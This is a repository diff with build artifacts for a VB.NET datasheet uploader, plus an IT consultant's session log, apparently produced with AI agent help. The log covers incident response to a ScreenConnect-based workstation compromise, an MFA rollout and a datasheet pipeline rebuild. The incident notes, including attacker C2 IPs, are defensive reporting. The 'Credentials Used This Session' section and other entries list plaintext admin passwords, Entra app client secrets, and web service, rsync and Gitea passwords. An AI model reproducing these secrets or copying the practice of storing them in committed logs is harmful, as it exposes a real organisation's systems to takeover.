C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.GenerateResource.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.pdb
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
@@ -0,0 +1,7 @@
|
||||
' <autogenerated/>
|
||||
Option Strict Off
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
97dae5c7224d0c77b10fa6d035307499d50af816
|
||||
@@ -0,0 +1,32 @@
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.AssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.SuggestedBindingRedirects.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
@@ -0,0 +1,337 @@
|
||||
# Session Log: 2026-03-27 - Dataforth Security Incident, MFA Rollout, Test Datasheet Investigation
|
||||
|
||||
## Session Summary
|
||||
|
||||
Major incident response and security hardening session at Dataforth Corporation. Three concurrent workstreams:
|
||||
|
||||
1. **Security Incident** - Compromised workstation DF-JOEL2 via social engineering / ScreenConnect abuse
|
||||
2. **MFA Rollout** - Deployed Conditional Access policies for M365 tenant
|
||||
3. **Test Datasheet Pipeline** - Investigated broken datasheet export pipeline affecting customer shipments
|
||||
|
||||
---
|
||||
|
||||
## 1. Security Incident: DF-JOEL2 Compromise
|
||||
|
||||
### Timeline (March 27, 2026 MST)
|
||||
- 08:25 - Joel Lohr clicked phishing link in personal Yahoo/Comcast email (appeared to be from Arizona Technology Council)
|
||||
- 08:28 - ScreenConnect client installed from C:\Users\jlohr\Downloads\ScreenConnect.ClientSetup.msi
|
||||
- 08:29 - "Angel Raya" connected via ScreenConnect cloud relay (instance-wlb9ga-relay.screenconnect.com)
|
||||
- 08:29 - Attacker deployed two C2 backdoor ScreenConnect clients via PowerShell
|
||||
- 08:31 - Attacker downloaded Sordum "Hide From Uninstall List" tool
|
||||
- 08:32 - Tool used to hide rogue clients, "Angel Raya" disconnected
|
||||
- 11:55 - "Administrator" connected via 80.76.49.18 C2 backdoor
|
||||
- 12:40 - "Administrator" disconnected
|
||||
- ~13:00 - ACG discovered compromise during ScreenConnect session
|
||||
- 18:51 - Successful unauthorized M365 sign-in from Istanbul, Turkey
|
||||
|
||||
### Attacker Infrastructure
|
||||
- C2 Server 1: 80.76.49.18:8040/8041
|
||||
- C2 Server 2: 45.88.91.99:8040/8041
|
||||
- ASN: AS399486, Virtuo (12651980 CANADA INC.), Montreal QC
|
||||
- Abuse: abuses@virtuo.host, escalation: jordan@virtuo.host
|
||||
- ScreenConnect Cloud: instance-wlb9ga-relay.screenconnect.com
|
||||
- C2 client version: 25.2.4.9229 (binaries dated April 8, 2025)
|
||||
|
||||
### Rogue ScreenConnect Clients Found
|
||||
1. 0cad93610010625f - "Angel Raya" initial access (instance-wlb9ga cloud relay)
|
||||
2. 0dfe1abae029411c - C2 backdoor (80.76.49.18:8041)
|
||||
3. a897d9a21259d116 - C2 backdoor (45.88.91.99:8041)
|
||||
4. 1912bf3444b41a08 - LEGITIMATE (ACG, instance-kgc7jt)
|
||||
|
||||
### M365 Account Compromise
|
||||
Sustained brute-force against jlohr@dataforth.com for 7+ days:
|
||||
- Successful: Istanbul Turkey (91.93.232.236), Croydon UK (82.44.33.210), Germany (IPv6)
|
||||
- Blocked attempts from: Frankfurt DE (45.86.202.x), Luxembourg, Virginia Beach, Sioux Falls, Camden DE, Charleston WV
|
||||
- Tools used: Azure AD PowerShell, Azure CLI
|
||||
- MFA: Password + phone only (520-917-2241), no conditional access
|
||||
|
||||
### Remediation Actions Completed
|
||||
- [DONE] Both C2 IPs blocked at UDM firewall (iptables FORWARD + INPUT, all directions)
|
||||
- [DONE] Three rogue ScreenConnect clients uninstalled via WinRM
|
||||
- [DONE] HideUL tool deleted from C:\Users\Public\Pictures\Backup\
|
||||
- [DONE] Downloaded MSIs cleaned
|
||||
- [DONE] jlohr AD password reset to Dataforth2026! (force change at logon)
|
||||
- [DONE] Entra Connect delta sync forced
|
||||
- [DONE] M365 sessions revoked (twice)
|
||||
- [DONE] Network-wide scan: 32 machines clean, 28 unreachable (offline)
|
||||
- [DONE] UDM connection table scan: zero C2 traffic network-wide
|
||||
- [DONE] No malicious inbox rules, mail forwarding, or OAuth consents
|
||||
- [DONE] No rogue SSH keys on UDM
|
||||
|
||||
### Reports Filed
|
||||
- FBI IC3: Submission ID 1c32ade367084be9acd548f23705736f (filed 3/27/2026 5:11 PM EST)
|
||||
- Virtuo Hosting: abuses@virtuo.host - automated suspension of both IPs confirmed
|
||||
- ConnectWise: Case #03464184 (abuse@connectwise.com)
|
||||
|
||||
### Incident Notes File
|
||||
- PSA ticket notes: /tmp/dataforth-incident-psa-notes.txt
|
||||
- Virtuo abuse report: clients/dataforth/docs/incident-2026-03-27-abuse-report-virtuo.md
|
||||
- ConnectWise abuse report: clients/dataforth/docs/incident-2026-03-27-abuse-report-connectwise.md
|
||||
- IC3 complaint PDF: clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
|
||||
|
||||
---
|
||||
|
||||
## 2. MFA Rollout
|
||||
|
||||
### Conditional Access Policies Deployed (Report-Only Mode)
|
||||
|
||||
| Policy | ID | State |
|
||||
|--------|-----|-------|
|
||||
| ACG - Require MFA for All Users | dc920ee4-22e6-402b-b5e3-4f3662d26227 | Report-only |
|
||||
| ACG - Block Foreign Sign-Ins | 3405f7db-91b6-48da-b3fb-2e0ef1e44d17 | Report-only |
|
||||
| ACG - Block Legacy Authentication | 82ebbe3b-d151-4cb7-aff7-af893a4915e3 | Report-only |
|
||||
|
||||
### Named Locations
|
||||
- Dataforth Office - Tucson: 0a3e61d7-a544-4a47-961a-a98cd4804613 (67.206.163.122/32, trusted)
|
||||
- Allowed Countries - US Only: 12706cec-c91b-454e-a24d-c801284b79f7
|
||||
|
||||
### Security Groups
|
||||
- MFA-Excluded-BreakGlass: 75ac10ae-d49e-42b1-aa87-04908a983495
|
||||
- Members: Brian Faires, Dataforth Calibration, Dataforth Notifications, Endcap, Tablet 01
|
||||
- MFA-Travel-Bypass: 094b12c5-b39a-4287-943a-f1175ce61a6f
|
||||
- For users traveling internationally, excludes them from foreign sign-in block
|
||||
|
||||
### MFA policy behavior
|
||||
- From office (67.206.163.122): No MFA required
|
||||
- From elsewhere in US: MFA required
|
||||
- From outside US: Blocked (unless in MFA-Travel-Bypass group)
|
||||
- Legacy auth (IMAP/POP/old PowerShell): Blocked everywhere
|
||||
|
||||
### Enforcement deadline: April 4, 2026
|
||||
- MFA notice email sent to all 37 licensed users from sysadmin@dataforth.com via Graph API (draft-then-send method)
|
||||
- Enrollment status email sent to mike@azcomputerguru.com and ghaubner@dataforth.com
|
||||
|
||||
### MFA Enrollment Status (19 ready, 19 need setup)
|
||||
**Ready:** Ben Wadzinski, Bobbi Whitson, Dan Center, Georg Haubner (Authenticator), Jacque Antar, Jaime Becerra, Joel Lohr, John Lehman, Kellyn Wackerly, Kevin Wackerly, Lee Payne, Otto Fest (Windows Hello), Peter Iliya, Robert Koranek, Sandra Schock, Shipping, sysadmin (Authenticator), Theresa Dean, Yvonne Bejarano
|
||||
|
||||
**Need setup:** Andres Oliva-Martinez, Angel Lopez, Ayleen Montijo, Bernardo Laredo, Catalina Vanatta, Cesar Rivas, Chauncey Bell, Concepcion Hernandez, Cynthia Roedig, Elma Trujillo, Jason Yoder, Ken Hoffman, Linda Duarte, Logan Tobey, Lori Schlotterback, Manny Vargas, Martin Florez, Rosalinda Duarte, Thomas Nord
|
||||
|
||||
### Entra Cleanup
|
||||
- 38 test station accounts (TS-*) deleted from Entra (were stale synced objects from CompanyUsers OU no longer in sync scope)
|
||||
- bfaires@dataforth.com: AD account disabled, M365 still enabled, mailbox converted to shared (5,711 messages preserved)
|
||||
|
||||
### Dataforth M365 Licenses
|
||||
- 50x M365 Business Premium (39 used) - includes Entra ID P1
|
||||
- 19x Exchange Online Plan 1 (5 used)
|
||||
- 5x SPB (4 used)
|
||||
|
||||
---
|
||||
|
||||
## 3. Test Datasheet Pipeline Investigation
|
||||
|
||||
### Background
|
||||
Customer Quatronix (China) refusing shipments of 54+ modules without test datasheets. Originally 328 missing, whittled to 54 by Peter Iliya manually finding some.
|
||||
|
||||
### Pipeline Architecture
|
||||
```
|
||||
DOS Test Machine (TS-XX) -> QuickBASIC test program
|
||||
-> Generates H-prefix TXT file (H=17 decode: A=10,B=11...H=17,I=18,J=19)
|
||||
-> Writes to T:\ (mapped to \\D2TESTNAS\TEST)
|
||||
-> Syncs to AD2 C:\Shares\test\ (Sync-FromNAS task, every 15 min, WORKING)
|
||||
-> TestDataDB import.js ingests DAT files into SQLite database (WORKING)
|
||||
-> DFWDS.exe should process and move to WebShare (BROKEN - third party, Hoffman)
|
||||
-> TestDataSheetUploader should sync WebShare to website (BROKEN - not running since 2022)
|
||||
-> Customer downloads from www.dataforth.com
|
||||
```
|
||||
|
||||
### Current State
|
||||
- Sync-FromNAS: RUNNING (last ran 5:00 PM today, every 15 min)
|
||||
- TestDataDB service: RUNNING (Windows service, auto-start, 2.27M records)
|
||||
- TestDataDB API: http://192.168.0.6:3000 (Express.js, SQLite, better-sqlite3)
|
||||
- DFWDS.exe: NOT RUNNING (VB6 program on AD2, third-party dev Hoffman unresponsive)
|
||||
- TestDataSheetUploader: NOT RUNNING (last used Nov 2022, config points to Hoffman's local path)
|
||||
- datasheet_exported_at: NULL for ALL records - export has never run
|
||||
|
||||
### Key Finding
|
||||
Of the missing Quatronix serials checked, **22 out of 22 that responded are IN the database** with test data. Zero actually missing. The data exists but has never been exported as datasheet files.
|
||||
|
||||
### TestDataSheetUploader Details (found in Test Datasheets folder)
|
||||
- VB.NET console app, .NET Framework 4.7.2
|
||||
- Services: https://www.dataforth.com/Services/{Uploader,DirectoryManifest,DeleteFile}.aspx
|
||||
- Auth: DataforthWebShare / Data6277
|
||||
- Server-side path: C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\
|
||||
- Config: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists (Hoffman's old path)
|
||||
|
||||
### WebShare on AD2
|
||||
- Share: \\AD2\webshare -> C:\Shares\webshare
|
||||
- DFWDS config expects: X:\webshare\Test_Datasheets, X:\webshare\For_Web, X:\webshare\Bad_Datasheets
|
||||
- DFWDS/Test Files/Original/Test_Datasheets: 2,457 existing datasheets
|
||||
|
||||
### H-prefix decode table
|
||||
A=10, B=11, C=12, D=13, E=14, F=15, G=16, H=17, I=18, J=19
|
||||
Example: H8601-6.TXT -> 178601-6.TXT
|
||||
|
||||
### AD1 Claude Instance Results (same day)
|
||||
A Claude instance running on AD1/AD2 rebuilt the entire pipeline:
|
||||
- **Spec Parser built** (parsers/spec-reader.js) - reads 8 binary spec DATs, 1470 models
|
||||
- **Exact-match TXT formatter** (templates/datasheet-exact.js) - reverse-engineered from QB source
|
||||
- **Auto-export system** (database/export-datasheets.js) - generates TXT to X:\For_Web after import
|
||||
- **72 of 73 Quatronix datasheets generated** - in ComputerGuruConnectv2/Files/Quatronix-Datasheets.zip
|
||||
- **1.4M records reconciled** with existing For_Web files, 500K archived to year subfolders
|
||||
- **Root cause: CTONWTXT.BAT not called** in AUTOEXEC v4.1 since 2026-03-12. TXT piling up in C:\STAGE since Sept 2025.
|
||||
- **New pipeline eliminates** CTONWTXT.BAT, DFWDS.exe, and TestDataSheetUploader
|
||||
- **1 missing datasheet**: 177000-15 (SCM5B49-05) needs empty spec file from John Lehman
|
||||
- **Website upload still broken**: old ASP.NET endpoints return 404, need replacement
|
||||
- **7B series**: ~830K records need 7B-specific formatter (specs loaded but layout not implemented)
|
||||
- All session files saved to clients/dataforth/session-logs/ (from ClaudeSession-2026-03-27.zip)
|
||||
|
||||
### Next Steps for Datasheets
|
||||
- Website upload replacement (old endpoints dead, need new mechanism)
|
||||
- Fix CTONWTXT.BAT in AUTOEXEC or accept server-side generation as sufficient
|
||||
- 7B datasheet formatting
|
||||
- SCM5B49 spec file from John
|
||||
- New product lines: MAQ20/PWRM (XLS), 10D (JSON, ~May 2026)
|
||||
|
||||
---
|
||||
|
||||
## 4. Other Work
|
||||
|
||||
### UDM Firewall Access
|
||||
- Generated SSH key: ~/.ssh/id_ed25519_udm
|
||||
- Public key added to UDM root authorized_keys
|
||||
- UDM IPs: 192.168.0.254 (also responds on 192.168.0.1, same MAC d0:21:f9:6c:11:02)
|
||||
|
||||
### Network Investigation (Internet/Phone Outage Report)
|
||||
- All infrastructure reachable: UDM, AD1, AD2, D2TESTNAS
|
||||
- Internet working from NAS (8.8.8.8, google.com)
|
||||
- DNS working on all DCs and UDM
|
||||
- ISP: fdtnet.net, Dataforth public IP: 67.206.163.122
|
||||
- Issue was likely localized to specific machines or resolved itself
|
||||
|
||||
### AD1 Claude Instance README
|
||||
- Created: clients/dataforth/dos-test-machines/Test Datasheets/README.md
|
||||
- Contains Gitea credentials, network context, investigation steps for AD1 instance
|
||||
|
||||
---
|
||||
|
||||
## Credentials Used This Session
|
||||
|
||||
### Dataforth Network
|
||||
- AD1 (192.168.0.27): INTRANET\sysadmin / Paper123!@#
|
||||
- AD2 (192.168.0.6): INTRANET\sysadmin / Paper123!@#
|
||||
- D2TESTNAS (192.168.0.9): root / SSH key (~/.ssh/id_ed25519 default)
|
||||
- UDM (192.168.0.254): root / SSH key (~/.ssh/id_ed25519_udm)
|
||||
|
||||
### Dataforth M365
|
||||
- Tenant ID: 7dfa3ce8-c496-4b51-ab8d-bd3dcd78b584
|
||||
- Admin: sysadmin@dataforth.com / Paper123!@# (synced with AD)
|
||||
- Entra App (Claude-Code-M365): App ID 7a8c0b2e-57fb-4d79-9b5a-4b88d21b1f29 / Secret tXo8Q~ZNG9zoBpbK9HwJTkzx.YEigZ9AynoSrca3
|
||||
|
||||
### MSP Multi-Tenant App (Claude-MSP-Access)
|
||||
- MSP Tenant: ce61461e-81a0-4c84-bb4a-7b354a9a356d
|
||||
- App ID: fabb3421-8b34-484b-bc17-e46de9703418
|
||||
- Client Secret: ~QJ8Q~NyQSs4OcGqHZyPrA2CVnq9KBfKiimntbMO
|
||||
- Permissions granted for Dataforth tenant: CA policies, mail, users, auth methods, security events
|
||||
|
||||
### TestDataSheetUploader Web Services
|
||||
- URL: https://www.dataforth.com/Services/{Uploader,DirectoryManifest,DeleteFile}.aspx
|
||||
- Auth: DataforthWebShare / Data6277
|
||||
|
||||
### Rsync (Sync-FromNAS on AD2)
|
||||
- NAS rsync user: rsync / IQ203s32119
|
||||
- Module: test (maps to /data/test on NAS)
|
||||
|
||||
### Gitea
|
||||
- URL: https://git.azcomputerguru.com
|
||||
- User: mike@azcomputerguru.com
|
||||
- Password: Gptf*77ttb123!@#-git
|
||||
|
||||
### WinRM Python Environment
|
||||
- /tmp/winrm-env/bin/python3 (pywinrm, msal, requests installed)
|
||||
|
||||
---
|
||||
|
||||
## Outstanding / Incomplete
|
||||
|
||||
### Security
|
||||
- [ ] 28 machines unreachable during ScreenConnect scan - check when online
|
||||
- [ ] Joel should reset Yahoo/Comcast personal email password
|
||||
- [ ] Check Chrome saved passwords on DF-JOEL2 (may have been exported by attacker)
|
||||
- [ ] Fix Windows Defender on DF-JOEL2 (error 0x800106ba, McAfee conflict)
|
||||
- [ ] Add C2 IPs to UDM permanent block list via UniFi UI (iptables rules don't survive reboot)
|
||||
- [ ] Monitor ConnectWise case 03464184 for Angel Raya identity
|
||||
- [ ] Consider disabling jlohr account entirely (retiring March 31)
|
||||
- [ ] Original phishing email never found (sent to personal Yahoo, Joel can't locate it)
|
||||
|
||||
### MFA
|
||||
- [ ] April 4: Switch all 3 CA policies from report-only to enabled
|
||||
- [ ] 19 users still need to register MFA
|
||||
- [ ] Delete orphan scheduled tasks on AD2: TestDataDB Server, TestDataDB_NodeServer
|
||||
- [ ] Clean up remaining unlicensed enabled accounts in Entra (former employees)
|
||||
|
||||
### Test Datasheets
|
||||
- [DONE] Pipeline rebuilt by AD1 instance -- server-side TXT generation from DAT data
|
||||
- [DONE] 72 of 73 Quatronix datasheets generated (in ComputerGuruConnectv2/Files/Quatronix-Datasheets.zip)
|
||||
- [ ] 1 remaining: 177000-15 (SCM5B49-05) needs empty spec file from John Lehman
|
||||
- [ ] Website upload replacement -- old ASP.NET endpoints return 404
|
||||
- [ ] 7B datasheet formatting (~830K records, specs loaded but formatter needs 7B layout)
|
||||
- [ ] Fix CTONWTXT.BAT in AUTOEXEC or accept server-side generation as sufficient
|
||||
- [ ] New product lines: MAQ20/PWRM (XLS), 10D (JSON, ~May 2026)
|
||||
- [ ] Service permissions cleanup (runs as SYSTEM)
|
||||
|
||||
---
|
||||
|
||||
## Update: 17:45 - AD1 Session Import and Final Context Save
|
||||
|
||||
### AD1 Claude Instance Session (same day)
|
||||
Imported full session from /home/guru/ComputerGuruConnectv2/Files/ClaudeSession-2026-03-27.zip. The AD1 instance running on AD2 rebuilt the entire test datasheet pipeline:
|
||||
|
||||
**Key accomplishments:**
|
||||
- Built spec parser (parsers/spec-reader.js) - reads 8 binary spec DATs, 1470 models across 6 families
|
||||
- Built exact-match TXT formatter (templates/datasheet-exact.js) - reverse-engineered from QuickBASIC source
|
||||
- Built auto-export system (database/export-datasheets.js) - generates TXT to X:\For_Web after import
|
||||
- Added PDF on-demand endpoint (/api/datasheet/:id/pdf)
|
||||
- Generated 72 of 73 Quatronix datasheets
|
||||
- Reconciled 1.4M records with existing For_Web files
|
||||
- Archived 500K pre-2026 files into year subfolders
|
||||
- Found root cause: CTONWTXT.BAT not called in AUTOEXEC v4.1 since 2026-03-12
|
||||
|
||||
**AD1 session files saved to:**
|
||||
- clients/dataforth/session-logs/SESSION-SUMMARY.md
|
||||
- clients/dataforth/session-logs/project_pipeline_rebuilt.md
|
||||
- clients/dataforth/session-logs/project_test_datasheet_pipeline.md
|
||||
- clients/dataforth/session-logs/project_ctonwtxt_gap.md
|
||||
- clients/dataforth/session-logs/project_ad2_context.md
|
||||
- clients/dataforth/session-logs/project_engr_share_exploration.md
|
||||
- clients/dataforth/session-logs/project_new_product_lines.md
|
||||
- clients/dataforth/session-logs/reference_haubner_backup.md
|
||||
- clients/dataforth/session-logs/feedback_sn_from_data.md
|
||||
- clients/dataforth/session-logs/email-draft-updated.md
|
||||
- clients/dataforth/session-logs/email-draft-morning.md
|
||||
- clients/dataforth/session-logs/user_mike_swanson.md
|
||||
- clients/dataforth/session-logs/MEMORY.md (AD1 instance memory index)
|
||||
|
||||
### Memory Entries Created
|
||||
- .claude/memory/project_datasheet_pipeline.md - Full pipeline architecture and status
|
||||
- .claude/memory/project_dataforth_incident_2026-03-27.md - Security incident and MFA summary
|
||||
- MEMORY.md index updated with both entries
|
||||
|
||||
### MFA Note
|
||||
- SMS/Voice calling acceptable as MFA method for users who push back on Authenticator app
|
||||
- CA policy requires MFA but doesn't mandate specific method - phone registration is sufficient
|
||||
- MFA-Travel-Bypass group (094b12c5) created for users traveling internationally
|
||||
|
||||
### Emails Sent via Graph API (draft-then-send from sysadmin@dataforth.com)
|
||||
1. MFA notice to all 37 licensed users (deadline April 4, 2026)
|
||||
2. Enrollment status report to mike@azcomputerguru.com and ghaubner@dataforth.com
|
||||
|
||||
### Gitea
|
||||
- 502 error on push - Gitea container may need restart on Jupiter
|
||||
- All changes committed locally, will push when available
|
||||
|
||||
---
|
||||
|
||||
## Files Created/Modified This Session
|
||||
- clients/dataforth/dos-test-machines/Test Datasheets/README.md (AD1 Claude instance context)
|
||||
- clients/dataforth/docs/incident-2026-03-27-abuse-report-virtuo.md
|
||||
- clients/dataforth/docs/incident-2026-03-27-abuse-report-connectwise.md
|
||||
- clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
|
||||
- .claude/memory/project_datasheet_pipeline.md
|
||||
- .claude/memory/project_dataforth_incident_2026-03-27.md
|
||||
- .claude/memory/MEMORY.md (updated index)
|
||||
- clients/dataforth/session-logs/* (13 AD1 session files imported)
|
||||
- /tmp/dataforth-incident-psa-notes.txt (PSA ticket notes)
|
||||
- /tmp/dataforth-mfa-notice.txt (MFA user communication)
|
||||
- /tmp/ic3-technical-details.txt (IC3 technical details)
|
||||
- ~/.ssh/id_ed25519_udm (SSH key for UDM access)
|
||||
- /tmp/winrm-env/ (Python venv with pywinrm, msal, requests)
|
||||
9
clients/dataforth/session-logs/MEMORY.md
Normal file
9
clients/dataforth/session-logs/MEMORY.md
Normal file
@@ -0,0 +1,9 @@
|
||||
- [AD2 crypto wipe context](project_ad2_context.md) — This machine is AD2, wiped due to crypto attack, many files missing
|
||||
- [ENGR share exploration](project_engr_share_exploration.md) — Progress exploring \\AD1\Engineering\ENGR for test datasheet pipeline
|
||||
- [Test datasheet pipeline map](project_test_datasheet_pipeline.md) — Full 5-stage pipeline: DOS stations -> NAS -> AD2 sync -> DFWDS -> web upload
|
||||
- [Pipeline rebuilt 2026-03-27](project_pipeline_rebuilt.md) — New server-side pipeline replaces CTONWTXT/DFWDS/Uploader; 1470 model specs; exact-match TXT generation
|
||||
- [CTONWTXT.BAT gap](project_ctonwtxt_gap.md) — Current AUTOEXEC doesn't call CTONWTXT.BAT; now bypassed by server-side generation
|
||||
- [New product lines](project_new_product_lines.md) — MAQ20 (XLS), PWRM10 (XLS), 10D (JSON, ~May 2026), DSCMHV — different formats from legacy QB pipeline
|
||||
- [Haubner machine backup](reference_haubner_backup.md) — D: drive on HGHAUBNER (192.168.0.148) has pre-crypto backups; firewall was blocking, fixed
|
||||
- [SN from data not filenames](feedback_sn_from_data.md) — Always extract serial numbers from DAT record data, never from 8.3 encoded filenames
|
||||
- [Mike Swanson - user profile](user_mike_swanson.md) — External IT consultant (azcomputerguru.com) managing Dataforth recovery; contacts: John Lehman, Peter Iliya
|
||||
60
clients/dataforth/session-logs/SESSION-SUMMARY.md
Normal file
60
clients/dataforth/session-logs/SESSION-SUMMARY.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# Claude Session Summary — 2026-03-27
|
||||
|
||||
## Objective
|
||||
Reconstruct the Dataforth test datasheet pipeline after AD2 crypto wipe. Unblock customer shipment (Quatronix/China, 73 datasheets needed urgently).
|
||||
|
||||
## Key Accomplishments
|
||||
|
||||
### Pipeline Analysis
|
||||
